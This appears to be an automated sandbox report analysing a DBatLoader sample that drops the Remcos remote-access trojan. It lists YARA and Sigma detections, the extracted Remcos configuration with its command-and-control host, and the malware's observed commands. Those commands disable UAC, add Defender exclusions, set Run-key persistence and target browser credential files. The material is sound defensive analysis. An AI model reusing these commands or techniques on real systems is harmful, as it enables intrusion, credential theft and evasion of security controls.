31.2.wkrriuhD.pif.5919e2.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
24.2.wkrriuhD.pif.590000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.590000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.590000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b88a:$a1: Remcos restarted by watchdog! 0x6be02:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.590000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x658de:$str_a1: C:\Windows\System32\cmd.exe 0x6585a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6585a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65d5a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6658a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6594e:$str_b2: Executing file: 0x669ce:$str_b3: GetDirectListeningPort 0x6637a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x664fa:$str_b7: \update.vbs 0x65976:$str_b9: Downloaded file: 0x65962:$str_b10: Downloading file: 0x65a06:$str_b12: Failed to upload file: 0x66996:$str_b13: StartForward 0x669b6:$str_b14: StopForward 0x66452:$str_b15: fso.DeleteFile " 0x663e6:$str_b16: On Error Resume Next 0x66482:$str_b17: fso.DeleteFolder " 0x659f6:$str_b18: Uploaded file: 0x659b6:$str_b19: Unable to delete: 0x6641a:$str_b20: while fso.FileExists(" 0x65e93:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.590000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x657ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6575e:$s1: CoGetObject 0x65772:$s1: CoGetObject 0x6578e:$s1: CoGetObject 0x6f71a:$s1: CoGetObject 0x6571e:$s2: Elevation:Administrator!new:
0.2.midyear_statement.exe.40a0000.6.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
31.2.wkrriuhD.pif.590000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.590000.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.590000.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.4f0000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.590000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.4f0000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.590000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.4f0000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.4f0000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.4f0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0.2.midyear_statement.exe.2656dc8.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
24.2.wkrriuhD.pif.590000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.590000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.590000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.590000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.590000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.4f0000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
33.2.wkrriuhD.pif.4f0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.wkrriuhD.pif.4f0000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.4f0000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.4f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
0.2.midyear_statement.exe.2a46bd8.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 90 entries

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows \System32\2506803.exe", CommandLine: "C:\Windows \System32\2506803.exe", CommandLine|base64offset|contains: , Image: C:\Windows \System32\2506803.exe, NewProcessName: C:\Windows \System32\2506803.exe, OriginalFileName: C:\Windows \System32\2506803.exe, ParentCommandLine: cmd /c "C:\Windows \System32\2506803.exe", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows \System32\2506803.exe", ProcessId: 7572, ProcessName: 2506803.exe

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\midyear_statement.exe, ProcessId: 6428, TargetFilename: C:\Windows \System32\netutils.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\wkrriuhD.pif, CommandLine: C:\Users\Public\Libraries\wkrriuhD.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\wkrriuhD.pif, NewProcessName: C:\Users\Public\Libraries\wkrriuhD.pif, OriginalFileName: C:\Users\Public\Libraries\wkrriuhD.pif, ParentCommandLine: "C:\Users\user\Desktop\midyear_statement.exe", ParentImage: C:\Users\user\Desktop\midyear_statement.exe, ParentProcessId: 6428, ParentProcessName: midyear_statement.exe, ProcessCommandLine: C:\Users\Public\Libraries\wkrriuhD.pif, ProcessId: 7896, ProcessName: wkrriuhD.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Dhuirrkw.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\midyear_statement.exe, ProcessId: 6428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dhuirrkw

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , CommandLine: cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , ProcessId: 7640, ProcessName: cmd.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 192.3.109.132, DestinationIsIpv6: false, DestinationPort: 4445, EventID: 3, Image: C:\Users\Public\Libraries\wkrriuhD.pif, Initiated: true, ProcessId: 7896, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Dhuirrkw.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\midyear_statement.exe, ProcessId: 6428, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dhuirrkw

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\wkrriuhD.pif, CommandLine: C:\Users\Public\Libraries\wkrriuhD.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\wkrriuhD.pif, NewProcessName: C:\Users\Public\Libraries\wkrriuhD.pif, OriginalFileName: C:\Users\Public\Libraries\wkrriuhD.pif, ParentCommandLine: "C:\Users\user\Desktop\midyear_statement.exe", ParentImage: C:\Users\user\Desktop\midyear_statement.exe, ParentProcessId: 6428, ParentProcessName: midyear_statement.exe, ProcessCommandLine: C:\Users\Public\Libraries\wkrriuhD.pif, ProcessId: 7896, ProcessName: wkrriuhD.pif

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, CommandLine: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\midyear_statement.exe", ParentImage: C:\Users\user\Desktop\midyear_statement.exe, ParentProcessId: 6428, ParentProcessName: midyear_statement.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, ProcessId: 3632, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , CommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , CommandLine|base64offset|contains: )f, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" , ProcessId: 7692, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, CommandLine: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\midyear_statement.exe", ParentImage: C:\Users\user\Desktop\midyear_statement.exe, ParentProcessId: 6428, ParentProcessName: midyear_statement.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc, ProcessId: 3632, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\Public\Libraries\wkrriuhD.pif, ProcessId: 7896, TargetFilename: C:\ProgramData\remcos\logs.dat

Snort Signatures

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.7 - Destination IP: 192.3.109.132

Timestamp:	03/28/24-13:59:15.069542
SID:	2032776
Source Port:	49708
Destination Port:	4445
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Server Response - Source IP: 192.3.109.132 - Destination IP: 192.168.2.7

Timestamp:	03/28/24-14:01:41.205303
SID:	2032777
Source Port:	4445
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geoplugin.net/json.gp/C	URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing

Found malware configuration

Source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "xwww.zuckdgreb.duckdns.org:4445:0", "Assigned name": "vista", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-W5UGP5", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	ReversingLabs: Detection: 26%
Source: C:\Windows \System32\netutils.dll	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: midyear_statement.exe	ReversingLabs: Detection: 26%
Source: midyear_statement.exe	Virustotal: Detection: 31%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12363837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		24_2_12363837
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_00404423 GetProcAddress,FreeLibrary,CryptUnprotectData,		27_2_00404423

Source: wkrriuhD.pif

Binary or memory string: -----BEGIN PUBLIC KEY-----

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.5919e2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.5919e2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.12330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.24140000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.5919e2.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.wkrriuhD.pif.590000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.wkrriuhD.pif.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.wkrriuhD.pif.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 7860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wkrriuhD.pif PID: 1652, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_123374FD _wcslen,CoGetObject,

24_2_123374FD

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 24.2.wkrriuhD.pif.12330000.2.unpack
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Unpacked PE file: 31.2.wkrriuhD.pif.24140000.2.unpack

Source: midyear_statement.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49700 version: TLS 1.2
